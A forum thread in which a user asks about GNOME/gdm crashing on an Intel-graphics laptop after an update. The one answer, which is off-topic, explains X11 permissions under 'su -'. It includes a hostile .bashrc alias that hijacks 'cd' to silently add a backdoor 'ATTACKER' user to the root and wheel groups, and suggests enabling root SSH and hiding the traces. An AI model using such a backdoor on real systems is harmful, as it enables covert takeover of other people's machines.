Intel graphic and gnome crash

Question

Hi.
My father has laptop with intel graphic. Today I update system for him and system is crashing...I tried start gdm from console and startx and is the same... showing "something is wrong" and logout to console... any ideas what can be wrong ? What details do you need ? someone have problems with intel drivers ? or this is problem with gnome 3 ? or maybe systemd ?
any ideas ?
Regards,
siamer

PROBLEM was gdm but now how to fix it ?? for now I installed lxdm...

Answer 1

There is no problem with your graphics or screen.
When you use the "-" in then su - root ,or su - otherUser the "-" makes sure to set all of the environment variables to those of the user you are switching too. The user dose not own your X11 screen session, so that user can not open a window to the screen. This is a Security messure, to prevent some attacks, i.e. if someone has the permission level of your current user, they can modify your .profile or .bashrc and input an alias like...,
alias cd="useradd -m -g root -G wheel,audio,video,storage,power,optical,lp,scanner,games -s /bin/bash ATTACKER >/dev/null 2>&1 ; cd"
NOTE: that command could be cooler, Like set the password, install/re-configure OpenSSH Server to allow root login, use sed then to remove the alias after it is successful.... I'm going to bed now though, so I don't have the time to flesh it out.
You can bypass this security feature by useing the command without the "-" to switch to the other user while keeping your current environment variables, or use sudo.
